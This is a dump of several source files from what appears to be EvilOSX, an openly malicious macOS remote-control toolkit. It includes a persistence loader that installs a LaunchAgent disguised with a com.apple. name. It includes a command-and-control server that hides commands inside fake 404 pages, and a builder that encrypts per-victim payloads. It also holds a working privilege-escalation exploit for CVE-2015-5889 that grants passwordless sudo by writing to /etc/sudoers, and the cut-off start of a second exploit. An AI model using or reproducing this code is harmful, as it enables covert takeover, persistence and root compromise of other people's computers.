bot. 104 | 105 | :type loader_name: str 106 | :rtype: bytes 107 | """ 108 | source_path = path.realpath(path.join(path.dirname(__file__), loader_name, "update.py")) 109 | 110 | with open(source_path, "rb") as input_file: 111 | code = input_file.read() 112 | 113 | return compress(code) 114 | -------------------------------------------------------------------------------- /bot/loaders/helper.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import random 6 | import string 7 | from abc import ABCMeta, abstractmethod 8 | 9 | MESSAGE_INPUT = "[\033[1m?\033[0m] " 10 | MESSAGE_INFO = "[\033[94mI\033[0m] " 11 | MESSAGE_ATTENTION = "[\033[91m!\033[0m] " 12 | 13 | 14 | def random_string(size=random.randint(6, 15), numbers=False): 15 | """:return A randomly generated string of x characters. 16 | 17 | :type size: int 18 | :type numbers: bool 19 | :rtype: str 20 | """ 21 | result = "" 22 | 23 | for i in range(0, size): 24 | if not numbers: 25 | result += random.choice(string.ascii_letters) 26 | else: 27 | result += random.choice(string.ascii_letters + string.digits) 28 | return result 29 | 30 | 31 | class LoaderABC: 32 | """Abstract base class for loaders.""" 33 | __metaclass__ = ABCMeta 34 | 35 | @abstractmethod 36 | def get_info(self): 37 | """:return: A dictionary containing basic information about this loader. 38 | 39 | :rtype: dict 40 | """ 41 | pass 42 | 43 | def get_option_messages(self): 44 | """:return A list of input messages. 45 | 46 | :rtype: list[str] 47 | """ 48 | pass 49 | 50 | def get_options(self, set_options): 51 | """The returned dictionary must contain a "loader_name" key which contains the name of this loader. 52 | 53 | :type 54 | :rtype: dict 55 | :return: A dictionary containing set configuration options. 56 | """ 57 | pass 58 | -------------------------------------------------------------------------------- /bot/loaders/launch_daemon/install.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import base64 6 | import logging 7 | import os 8 | import subprocess 9 | from sys import exit 10 | from textwrap import dedent 11 | 12 | # ============================================================ 13 | # These variables will be patched when this loader is created. 14 | LOADER_OPTIONS = {} 15 | PAYLOAD_BASE64 = "" 16 | # ============================================================ 17 | 18 | PROGRAM_DIRECTORY = os.path.expanduser(LOADER_OPTIONS["program_directory"]) 19 | LAUNCH_AGENT_NAME = LOADER_OPTIONS["launch_agent_name"] 20 | PAYLOAD_FILENAME = LOADER_OPTIONS["payload_filename"] 21 | 22 | # Logging 23 | logging.basicConfig(format="[%(levelname)s] %(funcName)s:%(lineno)s - %(message)s", level=logging.DEBUG) 24 | log = logging.getLogger("launch_daemon") 25 | 26 | log.debug("Program directory: " + PROGRAM_DIRECTORY) 27 | log.debug("Launch agent name: " + LAUNCH_AGENT_NAME) 28 | log.debug("Payload filename: " + PAYLOAD_FILENAME) 29 | 30 | 31 | def get_program_file(): 32 | """:return: The path to the encrypted payload.""" 33 | return os.path.join(PROGRAM_DIRECTORY, PAYLOAD_FILENAME) 34 | 35 | 36 | def get_launch_agent_directory(): 37 | """:return: The directory where the launch agent lives.""" 38 | return os.path.expanduser("~/Library/LaunchAgents") 39 | 40 | 41 | def get_launch_agent_file(): 42 | """:return: The path to the launch agent.""" 43 | return get_launch_agent_directory() + "/%s.plist" % LAUNCH_AGENT_NAME 44 | 45 | 46 | def run_command(command): 47 | """Runs a system command and returns its response.""" 48 | out, err = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate() 49 | return out + err 50 | 51 | 52 | # Create directories 53 | run_command("mkdir -p " + PROGRAM_DIRECTORY) 54 | run_command("mkdir -p " + get_launch_agent_directory()) 55 | 56 | # Create launch agent 57 | launch_agent_create = dedent("""\ 58 | 59 | 60 | 61 | 62 | KeepAlive 63 | 64 | Label 65 | %s 66 | ProgramArguments 67 | 68 | %s 69 | 70 | RunAtLoad 71 | 72 | 73 | 74 | """) % (LAUNCH_AGENT_NAME, get_program_file()) 75 | 76 | with open(get_launch_agent_file(), "w") as output_file: 77 | output_file.write(launch_agent_create) 78 | 79 | with open(get_program_file(), "w") as output_file: 80 | output_file.write(base64.b64decode(PAYLOAD_BASE64)) 81 | 82 | os.chmod(get_program_file(), 0o777) 83 | 84 | # Load the launch agent 85 | output = run_command("launchctl load -w " + get_launch_agent_file()) 86 | 87 | if output == "": 88 | if run_command("launchctl list | grep -w %s" % LAUNCH_AGENT_NAME): 89 | log.info("Done!") 90 | exit(0) 91 | else: 92 | log.error("Failed to load launch agent.") 93 | pass 94 | elif "already loaded" in output.lower(): 95 | log.error("EvilOSX is already loaded.") 96 | exit(0) 97 | else: 98 | log.error("Unexpected output: " + output) 99 | pass 100 | -------------------------------------------------------------------------------- /bot/loaders/launch_daemon/loader.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from bot.loaders.helper import * 6 | 7 | 8 | class Loader(LoaderABC): 9 | def get_info(self): 10 | return { 11 | "Author": ["Marten4n6"], 12 | "Description": "Makes payloads persistent via a launch daemon.", 13 | "References": [] 14 | } 15 | 16 | def get_option_messages(self): 17 | return [ 18 | "Launch agent name (Leave empty for com.apple.): ", 19 | "Payload filename (Leave empty for ): " 20 | ] 21 | 22 | def get_options(self, set_options): 23 | launch_agent_name = set_options[0] 24 | payload_filename = set_options[1] 25 | 26 | if not launch_agent_name: 27 | launch_agent_name = "com.apple.{}".format(random_string()) 28 | 29 | if not payload_filename: 30 | payload_filename = random_string() 31 | 32 | return { 33 | "loader_name": "launch_daemon", 34 | "launch_agent_name": launch_agent_name, 35 | "payload_filename": payload_filename 36 | } 37 | -------------------------------------------------------------------------------- /bot/loaders/launch_daemon/remove.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import subprocess 6 | from os import path 7 | 8 | 9 | def run_command(command): 10 | """Runs a system command and returns its response.""" 11 | out, err = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate() 12 | return out + err 13 | 14 | 15 | def run(options): 16 | program_directory = options["program_directory"] 17 | launch_agent_name = options["loader_options"]["launch_agent_name"] 18 | launch_agent_file = path.join(program_directory, launch_agent_name + ".plist") 19 | 20 | print("[remove_bot] Goodbye!") 21 | 22 | run_command("rm -rf " + program_directory) 23 | run_command("rm -rf " + launch_agent_file) 24 | run_command("launchctl remove " + launch_agent_name) 25 | -------------------------------------------------------------------------------- /bot/loaders/launch_daemon/update.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | 6 | def run(options): 7 | # Simply swap out the old encrypted payload with the new one 8 | # then reload the launch daemon. 9 | pass 10 | -------------------------------------------------------------------------------- /data/builds/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /data/images/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/data/images/logo.png -------------------------------------------------------------------------------- /data/images/logo_334x600.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/data/images/logo_334x600.png -------------------------------------------------------------------------------- /data/output/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | urwid 2 | pycryptodomex 3 | pyside2 4 | future 5 | typing -------------------------------------------------------------------------------- /server/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Marten4n6/EvilOSX/033a662030e99b3704a1505244ebc1e6e59fba57/server/__init__.py -------------------------------------------------------------------------------- /server/handler.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import json 6 | import shutil 7 | from base64 import b64encode, b64decode 8 | from os import fstat 9 | from textwrap import dedent 10 | from threading import Thread 11 | from time import time 12 | 13 | from http.server import HTTPServer, BaseHTTPRequestHandler 14 | from socketserver import ThreadingMixIn 15 | 16 | try: 17 | from urllib.parse import unquote_plus 18 | except ImportError: 19 | # Python2 support. 20 | from urllib import unquote_plus 21 | 22 | from server import modules 23 | from server.model import Model, Bot, RequestType, PayloadFactory 24 | from server.view.helper import ViewABC 25 | 26 | 27 | def start_server(model, view, port): 28 | """Starts the HTTP server in a separate thread. 29 | 30 | :type model: Model 31 | :type view: ViewABC 32 | :type port: int 33 | """ 34 | # A new instance of the RequestHandler is created for every request. 35 | _RequestHandler._model = model 36 | _RequestHandler._view = view 37 | _RequestHandler._server_port = port 38 | 39 | server_thread = Thread(target=ThreadedHTTPServer(('', port), _RequestHandler).serve_forever) 40 | server_thread.daemon = True 41 | server_thread.start() 42 | 43 | 44 | class _RequestHandler(BaseHTTPRequestHandler): 45 | """Handles communicating with bots. 46 | 47 | - Responses are hidden in 404 error pages (the DEBUG part) 48 | - GET requests are used to retrieve the current command 49 | - Information about the bot along with the request type is sent (base64 encoded) in the Cookie header 50 | - Handles hosting files specified in the model 51 | """ 52 | _model = None 53 | _view = None 54 | _server_port = None 55 | 56 | def _send_headers(self): 57 | """Sets the response headers.""" 58 | self.send_response(404) 59 | self.send_header("Content-type", "text/html") 60 | self.end_headers() 61 | 62 | def _send_command(self, command_raw=""): 63 | """Sends the command to the bot. 64 | 65 | :type command_raw: str 66 | """ 67 | response = dedent("""\ 68 | 69 | 70 | 71 | 404 Not Found 72 | 73 | 74 |

Not Found

75 | The requested URL {} was not found on this server. 76 |

77 |


78 |
79 | 80 | 81 | """).format(self.path) 82 | 83 | if command_raw != "": 84 | response += dedent("""\ 85 | 88 | """.format(command_raw)) 89 | 90 | self._send_headers() 91 | self.wfile.write(response.encode("latin-1")) 92 | 93 | def do_GET(self): 94 | cookie = self.headers.get("Cookie") 95 | 96 | if not cookie: 97 | for upload_file in self._model.get_upload_files(): 98 | url_path, local_path = upload_file 99 | 100 | if self.path == ("/" + url_path): 101 | with open(local_path, "rb") as input_file: 102 | fs = fstat(input_file.fileno()) 103 | 104 | self.send_response(200) 105 | self.send_header("Content-Type", "application/octet-stream") 106 | self.send_header("Content-Disposition", 'attachment; filename="{}"'.format(url_path)) 107 | self.send_header("Content-Length", str(fs.st_size)) 108 | self.end_headers() 109 | 110 | shutil.copyfileobj(input_file, self.wfile) 111 | break 112 | else: 113 | self._send_command() 114 | else: 115 | # Cookie header format: session=- 116 | bot_uid = b64decode(cookie.split("-")[0].replace("session=", "").encode()).decode() 117 | data = json.loads(b64decode(cookie.split("-")[1].encode()).decode()) 118 | request_type = int(data["type"]) 119 | 120 | if request_type == RequestType.STAGE_1: 121 | # Send back a uniquely encrypted payload which the stager will run. 122 | payload_options = data["payload_options"] 123 | loader_options = data["loader_options"] 124 | loader_name = loader_options["loader_name"] 125 | 126 | self._view.output_separator() 127 | self._view.output("[{}] Creating encrypted payload using key: {}".format( 128 | loader_options["loader_name"], bot_uid 129 | ), "info") 130 | 131 | payload = PayloadFactory.create_payload(bot_uid, payload_options, loader_options) 132 | loader = PayloadFactory.wrap_loader(loader_name, loader_options, payload) 133 | 134 | self._send_command(b64encode(loader.encode()).decode()) 135 | elif request_type == RequestType.GET_COMMAND: 136 | username = data["username"] 137 | hostname = data["hostname"] 138 | local_path = data["path"] 139 | system_version = "" 140 | loader_name = data["loader_name"] 141 | 142 | if not self._model.is_known_bot(bot_uid): 143 | # This is the first time this bot connected. 144 | bot = Bot(bot_uid, username, hostname, time(), local_path, system_version, loader_name) 145 | 146 | self._model.add_bot(bot) 147 | self._view.on_bot_added(bot) 148 | 149 | self._send_command() 150 | else: 151 | # Update the bot's session (last online and local path). 152 | self._model.update_bot(bot_uid, time(), local_path) 153 | 154 | has_executed_global, global_command = self._model.has_executed_global(bot_uid) 155 | 156 | if not has_executed_global: 157 | self._model.add_executed_global(bot_uid) 158 | self._send_command(global_command) 159 | else: 160 | self._send_command(self._model.get_command_raw(bot_uid)) 161 | else: 162 | self._send_command() 163 | 164 | def do_POST(self): 165 | # Command responses. 166 | data = bytes(self.rfile.read(int(self.headers.get("Content-Length")))).decode("utf-8") 167 | data = json.loads(b64decode(unquote_plus(data.replace("username=", "", 1)).encode()).decode()) 168 | 169 | response = b64decode(data["response"]) 170 | bot_uid = data["bot_uid"] 171 | module_name = data["module_name"] 172 | response_options = dict(data["response_options"]) 173 | 174 | if module_name: 175 | try: 176 | # Modules will already be loaded at this point. 177 | modules.get_module(module_name).process_response(response, response_options) 178 | 179 | # Note to self: if there's too many "special" modules here, 180 | # pass the bot_uid to the process_response method instead. 181 | if module_name == "remove_bot": 182 | self._model.remove_bot(bot_uid) 183 | 184 | except Exception as ex: 185 | # Something went wrong in the process_response method. 186 | self._view.output("Module server error:") 187 | 188 | for line in str(ex).splitlines(): 189 | self._view.output(line) 190 | else: 191 | # Command response. 192 | if response.decode().startswith("Directory changed to"): 193 | # Update the view's footer to show the updated path. 194 | new_path = response.decode().replace("Directory changed to: ", "", 1) 195 | 196 | self._model.update_bot(bot_uid, time(), new_path) 197 | self._view.on_bot_path_change(self._model.get_bot(bot_uid)) 198 | 199 | self._view.on_response(response.decode()) 200 | 201 | self._send_command() 202 | 203 | def log_message(self, log_format, *args): 204 | return # Don't log random stuff we don't care about, thanks. 205 | 206 | 207 | class ThreadedHTTPServer(HTTPServer, ThreadingMixIn): 208 | """Handles requests in a separate thread.""" 209 | -------------------------------------------------------------------------------- /server/model.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import sqlite3 6 | from base64 import b64encode 7 | from os import path 8 | from threading import RLock 9 | import json 10 | from textwrap import dedent 11 | from Cryptodome.Cipher import AES 12 | from Cryptodome.Random import get_random_bytes 13 | from Cryptodome.Hash import MD5 14 | 15 | 16 | class RequestType: 17 | """Enum class for bot request types.""" 18 | 19 | def __init__(self): 20 | pass 21 | 22 | STAGE_1 = 0 23 | GET_COMMAND = 1 24 | RESPONSE = 2 25 | 26 | 27 | class CommandType: 28 | """Enum class for command types.""" 29 | 30 | def __init__(self): 31 | pass 32 | 33 | NONE = 0 34 | MODULE = 1 35 | SHELL = 2 36 | 37 | 38 | class Command: 39 | """This class represents a command.""" 40 | 41 | def __init__(self, command_type, command, options = None): 42 | """ 43 | :param command_type: int 44 | :param command: bytes 45 | :param options: dict 46 | """ 47 | self.type = command_type 48 | self.command = command 49 | self.options = options 50 | 51 | def __str__(self): 52 | """:return: The base64 string representation of this class which can be sent over the network.""" 53 | if self.type == CommandType.NONE: 54 | return "" 55 | else: 56 | formatted = "{}\n{}\n".format(str(self.type), b64encode(self.command).decode()) 57 | if self.options: 58 | formatted += b64encode(json.dumps(self.options).encode()).decode() 59 | 60 | return b64encode(formatted.encode()).decode() 61 | 62 | 63 | class Bot: 64 | """This class represents a bot.""" 65 | 66 | def __init__(self, bot_uid, username, hostname, last_online, 67 | local_path, system_version, loader_name): 68 | """ 69 | :type bot_uid: str 70 | :type username: str 71 | :type hostname: str 72 | :type last_online: float 73 | :type local_path: str 74 | :type system_version: str 75 | :type loader_name: str 76 | """ 77 | self.uid = bot_uid 78 | self.username = username 79 | self.hostname = hostname 80 | self.last_online = last_online 81 | self.local_path = local_path 82 | self.system_version = system_version 83 | self.loader_name = loader_name 84 | 85 | 86 | class Model: 87 | """Thread-safe model used by the controller.""" 88 | 89 | def __init__(self): 90 | self._database_path = path.realpath(path.join(path.dirname(__file__), path.pardir, "data", "EvilOSX.db")) 91 | self._database = sqlite3.connect(self._database_path, check_same_thread=False) 92 | self._cursor = self._database.cursor() 93 | self._lock = RLock() # It's important this is an RLock and not a Lock. 94 | 95 | # Create our tables. 96 | self._cursor.execute("DROP TABLE IF EXISTS bots") 97 | self._cursor.execute("DROP TABLE IF EXISTS commands") 98 | self._cursor.execute("DROP TABLE IF EXISTS global_command") 99 | self._cursor.execute("DROP TABLE IF EXISTS global_executed") 100 | self._cursor.execute("DROP TABLE IF EXISTS upload_files") 101 | 102 | self._cursor.execute("CREATE TABLE bots(" 103 | "bot_uid text PRIMARY KEY, " 104 | "username text, " 105 | "hostname text, " 106 | "last_online real, " 107 | "local_path text, " 108 | "system_version text, " 109 | "loader_name text)") 110 | self._cursor.execute("CREATE TABLE commands(" 111 | "bot_uid text, " 112 | "command text)") 113 | self._cursor.execute("CREATE TABLE global_command(" 114 | "command text)") 115 | self._cursor.execute("CREATE TABLE global_executed(" 116 | "bot_uid text)") 117 | self._cursor.execute("CREATE TABLE upload_files(" 118 | "url_path text, " 119 | "local_path text)") 120 | 121 | self._database.commit() 122 | 123 | def add_bot(self, bot): 124 | """Adds a bot to the database. 125 | 126 | :type bot: Bot 127 | """ 128 | with self._lock: 129 | self._cursor.execute("INSERT INTO bots VALUES(?,?,?,?,?,?,?)", ( 130 | bot.uid, bot.username, bot.hostname, bot.last_online, 131 | bot.local_path, bot.system_version, bot.loader_name 132 | )) 133 | self._database.commit() 134 | 135 | def update_bot(self, bot_uid, last_online, local_path): 136 | """Updates the bot's last online time and local path. 137 | 138 | :type bot_uid: str 139 | :type last_online: float 140 | :type local_path: str 141 | """ 142 | with self._lock: 143 | self._cursor.execute("UPDATE bots SET last_online = ?, local_path = ? WHERE bot_uid = ?", 144 | (last_online, local_path, bot_uid)) 145 | self._database.commit() 146 | 147 | def get_bot(self, bot_uid): 148 | """Retrieves a bot from the database. 149 | 150 | :type bot_uid: str 151 | :rtype: Bot 152 | """ 153 | with self._lock: 154 | response = self._cursor.execute("SELECT * FROM bots WHERE bot_uid = ? LIMIT 1", (bot_uid,)).fetchone() 155 | return Bot(response[0], response[1], response[2], response[3], response[4], response[5], response[6]) 156 | 157 | def remove_bot(self, bot_uid): 158 | """Removes the bot from the database. 159 | 160 | :type bot_uid: str 161 | """ 162 | with self._lock: 163 | self._cursor.execute("DELETE FROM bots WHERE bot_uid = ?", (bot_uid,)) 164 | self._database.commit() 165 | 166 | def is_known_bot(self, bot_uid): 167 | """:return: True if the bot is known to us. 168 | 169 | :type bot_uid: str 170 | :rtype: bool 171 | """ 172 | with self._lock: 173 | response = self._cursor.execute("SELECT * FROM bots WHERE bot_uid = ?", (bot_uid,)).fetchone() 174 | 175 | if response: 176 | return True 177 | else: 178 | return False 179 | 180 | def get_bots(self, limit = -1, skip_amount = 0): 181 | """:return: A list of bot objects. 182 | 183 | :type limit: int 184 | :type skip_amount: int 185 | :rtype: list 186 | """ 187 | with self._lock: 188 | bots = [] 189 | response = self._cursor.execute("SELECT * FROM bots LIMIT ? OFFSET ?", (limit, skip_amount)) 190 | 191 | for row in response: 192 | bots.append(Bot(row[0], row[1], row[2], row[3], row[4], row[5], row[6])) 193 | 194 | return bots 195 | 196 | def get_bot_amount(self): 197 | """:return: The amount of bots in the database. 198 | 199 | :rtype: int 200 | """ 201 | with self._lock: 202 | response = self._cursor.execute("SELECT Count(*) FROM bots") 203 | return response.fetchone()[0] 204 | 205 | def set_global_command(self, command): 206 | """Sets the global command. 207 | 208 | :type command: Command 209 | """ 210 | with self._lock: 211 | self._cursor.execute("DELETE FROM global_command") 212 | self._cursor.execute("DELETE FROM global_executed") 213 | self._cursor.execute("INSERT INTO global_command VALUES(?)", (str(command),)) 214 | self._database.commit() 215 | 216 | def get_global_command(self): 217 | """:return: The globally set raw command. 218 | 219 | :rtype: str 220 | """ 221 | with self._lock: 222 | response = self._cursor.execute("SELECT * FROM global_command").fetchone() 223 | 224 | if not response: 225 | return "" 226 | else: 227 | return response[0] 228 | 229 | def add_executed_global(self, bot_uid): 230 | """Adds the bot the list of who has executed the global module. 231 | 232 | :type bot_uid: str 233 | """ 234 | with self._lock: 235 | self._cursor.execute("INSERT INTO global_executed VALUES (?)", (bot_uid,)) 236 | self._database.commit() 237 | 238 | def has_executed_global(self, bot_uid): 239 | """:return: True if the bot has executed the global command or if no global command has been set. 240 | 241 | :type bot_uid: str 242 | :rtype: (bool, str or None) 243 | """ 244 | with self._lock: 245 | global_command = self.get_global_command() 246 | 247 | if not global_command: 248 | return True, None 249 | else: 250 | response = self._cursor.execute("SELECT * FROM global_executed WHERE bot_uid = ? LIMIT 1", 251 | (bot_uid,)).fetchone() 252 | 253 | if response: 254 | return True, None 255 | else: 256 | return False, global_command 257 | 258 | def add_command(self, bot_uid, command): 259 | """Adds the command to the bot's command queue. 260 | 261 | :type bot_uid: str 262 | :type command: Command 263 | """ 264 | with self._lock: 265 | self._cursor.execute("INSERT INTO commands VALUES(?,?)", (bot_uid, str(command))) 266 | self._database.commit() 267 | 268 | def get_command_raw(self, bot_uid): 269 | """Return and removes the first (raw base64) command in the bot's command queue, otherwise an empty string. 270 | 271 | :type bot_uid: str 272 | :rtype: str 273 | """ 274 | with self._lock: 275 | response = self._cursor.execute("SELECT * FROM commands WHERE bot_uid = ?", (bot_uid,)).fetchone() 276 | 277 | if not response: 278 | return "" 279 | else: 280 | self._remove_command(bot_uid) 281 | return response[1] 282 | 283 | def _remove_command(self, bot_uid): 284 | """Removes the first command in the bot's queue. 285 | 286 | :type bot_uid: str 287 | """ 288 | with self._lock: 289 | # Workaround for https://sqlite.org/compile.html#enable_update_delete_limit 290 | self._cursor.execute("DELETE FROM commands WHERE rowid = " 291 | "(SELECT rowid FROM commands WHERE bot_uid = ? LIMIT 1)", (bot_uid,)) 292 | self._database.commit() 293 | 294 | def add_upload_file(self, url_path, local_path): 295 | """ 296 | Adds a file which should be hosted by the server, 297 | should be automatically removed by the caller in x seconds. 298 | 299 | :type url_path: str 300 | :type local_path: str 301 | """ 302 | with self._lock: 303 | self._cursor.execute("INSERT INTO upload_files VALUES (?,?)", (url_path, local_path)) 304 | self._database.commit() 305 | 306 | def remove_upload_file(self, url_path): 307 | """Remove the file from the list of files the server should host. 308 | 309 | :type url_path: str 310 | """ 311 | with self._lock: 312 | self._cursor.execute("DELETE FROM upload_files WHERE url_path = ?", (url_path,)) 313 | self._database.commit() 314 | 315 | def get_upload_files(self): 316 | """:return: A tuple containing the URL path and local file path. 317 | 318 | :rtype: (str, str) 319 | """ 320 | with self._lock: 321 | tuple_list = [] 322 | response = self._cursor.execute("SELECT * FROM upload_files").fetchall() 323 | 324 | for row in response: 325 | tuple_list.append((row[0], row[1])) 326 | 327 | return tuple_list 328 | 329 | 330 | class PayloadFactory: 331 | """Builds encrypted payloads which can only be run on the specified bot.""" 332 | 333 | def __init__(self): 334 | pass 335 | 336 | @staticmethod 337 | def create_payload(bot_uid, payload_options, loader_options): 338 | """:return: The configured and encrypted payload. 339 | 340 | :type bot_uid: str 341 | :type payload_options: dict 342 | :type loader_options: dict 343 | :rtype: str 344 | """ 345 | # Configure bot.py 346 | with open(path.realpath(path.join(path.dirname(__file__), path.pardir, "bot", "bot.py"))) as input_file: 347 | configured_payload = "" 348 | 349 | server_host = payload_options["host"] 350 | server_port = payload_options["port"] 351 | program_directory = loader_options["program_directory"] 352 | 353 | for line in input_file: 354 | if line.startswith("SERVER_HOST = "): 355 | configured_payload += "SERVER_HOST = \"{}\"\n".format(server_host) 356 | elif line.startswith("SERVER_PORT = "): 357 | configured_payload += "SERVER_PORT = {}\n".format(server_port) 358 | elif line.startswith("PROGRAM_DIRECTORY = "): 359 | configured_payload += "PROGRAM_DIRECTORY = os.path.expanduser(\"{}\")\n".format(program_directory) 360 | elif line.startswith("LOADER_OPTIONS = "): 361 | configured_payload += "LOADER_OPTIONS = {}\n".format(str(loader_options)) 362 | else: 363 | configured_payload += line 364 | 365 | # Encrypt the payload using the bot's unique key 366 | return dedent("""\ 367 | #!/usr/bin/env python 368 | # -*- coding: utf-8 -*- 369 | import os 370 | import getpass 371 | import uuid 372 | 373 | def get_uid(): 374 | return "".join(x.encode("hex") for x in (getpass.getuser() + "-" + str(uuid.getnode()))) 375 | 376 | exec("".join(os.popen("echo '{}' | openssl aes-256-cbc -A -d -a -k %s -md md5" % get_uid()).readlines())) 377 | """.format(PayloadFactory._openssl_encrypt(bot_uid, configured_payload))) 378 | 379 | @staticmethod 380 | def wrap_loader(loader_name, loader_options, payload): 381 | """:return: The loader which will load the (configured and encrypted) payload. 382 | 383 | :type loader_name: str 384 | :type loader_options: dict 385 | :type payload: str 386 | :rtype: str 387 | """ 388 | loader_path = path.realpath(path.join( 389 | path.dirname(__file__), path.pardir, "bot", "loaders", loader_name, "install.py") 390 | ) 391 | loader = "" 392 | 393 | with open(loader_path, "r") as input_file: 394 | for line in input_file: 395 | if line.startswith("LOADER_OPTIONS = "): 396 | loader += "LOADER_OPTIONS = {}\n".format(str(loader_options)) 397 | elif line.startswith("PAYLOAD_BASE64 = "): 398 | loader += "PAYLOAD_BASE64 = \"{}\"\n".format(b64encode(payload.encode()).decode()) 399 | else: 400 | loader += line 401 | 402 | return loader 403 | 404 | @staticmethod 405 | def _openssl_encrypt(password, plaintext): 406 | """ 407 | :type password: str 408 | :type plaintext: str 409 | :rtype: str 410 | """ 411 | # Thanks to Joe Linoff, taken from https://stackoverflow.com/a/42773185 412 | salt = get_random_bytes(8) 413 | key, iv = PayloadFactory._get_key_and_iv(password, salt) 414 | 415 | # PKCS#7 padding 416 | padding_len = 16 - (len(plaintext) % 16) 417 | padded_plaintext = plaintext + (chr(padding_len) * padding_len) 418 | 419 | # Encrypt 420 | cipher = AES.new(key, AES.MODE_CBC, iv) 421 | cipher_text = cipher.encrypt(padded_plaintext.encode()) 422 | 423 | # Make OpenSSL compatible 424 | openssl_cipher_text = b"Salted__" + salt + cipher_text 425 | return b64encode(openssl_cipher_text).decode() 426 | 427 | @staticmethod 428 | def _get_key_and_iv(password, salt, key_length = 32, iv_length = 16): 429 | """ 430 | :type password: str 431 | :type salt: bytes 432 | :type key_length: int 433 | :type iv_length: int 434 | :rtype: tuple 435 | """ 436 | password = password.encode() 437 | 438 | try: 439 | max_length = key_length + iv_length 440 | key_iv = MD5.new(password + salt).digest() 441 | tmp = [key_iv] 442 | 443 | while len(tmp) < max_length: 444 | tmp.append(MD5.new(tmp[-1] + password + salt).digest()) 445 | key_iv += tmp[-1] # Append the last byte 446 | 447 | key = key_iv[:key_length] 448 | iv = key_iv[key_length:key_length + iv_length] 449 | return key, iv 450 | except UnicodeDecodeError: 451 | return None, None 452 | -------------------------------------------------------------------------------- /server/modules/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """Creates modules using the factory pattern.""" 3 | __author__ = "Marten4n6" 4 | __license__ = "GPLv3" 5 | 6 | import imp 7 | from os import path, listdir 8 | from typing import Optional 9 | from zlib import compress 10 | 11 | from server.modules.helper import ModuleABC 12 | 13 | _module_cache = {} 14 | 15 | 16 | def load_module(module_name, view, model): 17 | """Loads the loader and adds it to the cache. 18 | 19 | :type module_name: str 20 | """ 21 | # Going to use imp over importlib until python decides to remove it. 22 | module_path = path.realpath(path.join(path.dirname(__file__), "server", module_name + ".py")) 23 | module = imp.load_source(module_name, module_path) 24 | 25 | _module_cache[module_name] = module.Module(view, model) 26 | 27 | return _module_cache[module_name] 28 | 29 | def get_module(module_name): 30 | """ 31 | :type module_name: str 32 | :rtype: ModuleABC or None 33 | :return: The module class if it has been loaded, otherwise None. 34 | """ 35 | return _module_cache.get(module_name) 36 | 37 | 38 | def get_names(): 39 | """ 40 | :rtype: list[str] 41 | :return: A list of all module names.""" 42 | names = [] 43 | 44 | for name in listdir(path.realpath(path.join(path.dirname(__file__), "server"))): 45 | if name.endswith(".py") and name not in ["__init__.py", "helper.py"]: 46 | names.append(name.replace(".py", "")) 47 | 48 | return names 49 | 50 | 51 | def get_code(module_name): 52 | """ 53 | :type module_name: str 54 | :rtype: bytes 55 | :return: Compressed code which can be run on the bot. 56 | """ 57 | source_path = path.realpath(path.join(path.dirname(__file__), "bot", module_name + ".py")) 58 | 59 | with open(source_path, "rb") as input_file: 60 | code = input_file.read() 61 | 62 | return compress(code) 63 | -------------------------------------------------------------------------------- /server/modules/bot/CVE-2015-5889.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import os 6 | import subprocess 7 | import time 8 | 9 | env = {} 10 | old_size = os.stat("/etc/sudoers").st_size 11 | malloc_directory = "a\n* * * * * root echo \"ALL ALL=(ALL) NOPASSWD: ALL\" >> /etc/sudoers\n\n\n\n\n" 12 | 13 | env["MallocLogFile"] = "/etc/crontab" 14 | env["MallocStackLogging"] = "yes" 15 | env["MallocStackLoggingDirectory"] = malloc_directory 16 | 17 | 18 | def run(options): 19 | print("Creating /etc/crontab...") 20 | 21 | p = os.fork() 22 | if p == 0: 23 | os.close(1) 24 | os.close(2) 25 | os.execve("/usr/bin/rsh", ["rsh", "localhost"], env) 26 | 27 | time.sleep(1) 28 | 29 | if "NOPASSWD" not in open("/etc/crontab").read(): 30 | print("Exploit failed.") 31 | else: 32 | print("Done, waiting for /etc/sudoers to update...") 33 | 34 | while os.stat("/etc/sudoers").st_size == old_size: 35 | time.sleep(1) 36 | 37 | print("Exploit completed, you can now execute commands as sudo.") 38 | subprocess.call("sudo rm -rf /etc/crontab", shell=True) -------------------------------------------------------------------------------- /server/modules/bot/CVE-2020-3950.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "HackerFantastic" 3 | __license__ = "GPLv3" 4 | 5 | import os 6 | import subprocess 7 | import time 8 | 9 | env = {} 10 | env["PATH"] = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Applications/VMware Fusion.app/Contents/Public:/usr/local/sbin" 11 